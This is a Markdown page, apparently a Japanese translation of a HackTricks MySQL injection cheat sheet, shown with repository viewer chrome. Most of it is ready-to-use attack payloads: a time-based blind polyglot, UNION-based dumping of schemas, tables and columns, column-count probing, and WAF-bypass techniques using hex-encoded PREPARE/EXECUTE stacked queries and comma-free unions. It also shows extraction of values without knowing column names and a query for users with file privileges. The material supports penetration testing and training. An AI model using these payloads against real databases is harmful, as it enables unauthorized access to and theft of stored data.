159 lines
6.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# MySQLインジェクション
{{#include ../../../banners/hacktricks-training.md}}
## コメント
```sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## 興味深い機能
### Mysqlの確認
```
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
```
### 有用な関数
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## すべてのインジェクション
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
## フロー
「現代」の**MySQL**のバージョンでは、"_**information_schema.tables**_"を"_**mysql.innodb_table_stats**_**"**に置き換えることができることを覚えておいてくださいこれはWAFを回避するのに役立つかもしれません
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **値は1つだけ**
- `group_concat()`
- `Limit X,1`
### **ブラインド1つずつ**
- `substr(version(),X,1)='r'` または `substring(version(),X,1)=0x70` または `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
### **ブラインド追加**
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## 列の数を検出
単純なORDERを使用して
```
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL ユニオンベース
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**ここで、** [**Mysqlインジェクションを悪用してSSRFを取得するためのさまざまなオプションを学びます**](mysql-ssrf.md)**。**
## WAFバイパストリック
### 準備されたステートメントを通じてクエリを実行する
スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当てSETを使用、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。次のようなものです
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
詳細については、[このブログ投稿](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)を参照してください。
### Information_schemaの代替
「現代」の**MySQL**のバージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを覚えておいてください。
### MySQLインジェクションカンマなし
カンマを使用せずに2つの列を選択します[https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### 列名なしで値を取得する
もし、テーブルの名前はわかっているが、そのテーブル内の列の名前がわからない場合は、次のようなコマンドを実行して、列の数を調べることができます:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
フラグの内容を文字ごとに試してブルートフォースすることができます。最初の列がIDで、もう一つの列がフラグであると仮定します。
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
[https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)の詳細情報
### MySQLの歴史
**sys.x$statement_analysis**テーブルを読み取ることで、他の実行を確認できます。
### バージョンの代替**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## その他のMYSQLインジェクションガイド
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## 参考文献
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
{{#include ../../../banners/hacktricks-training.md}}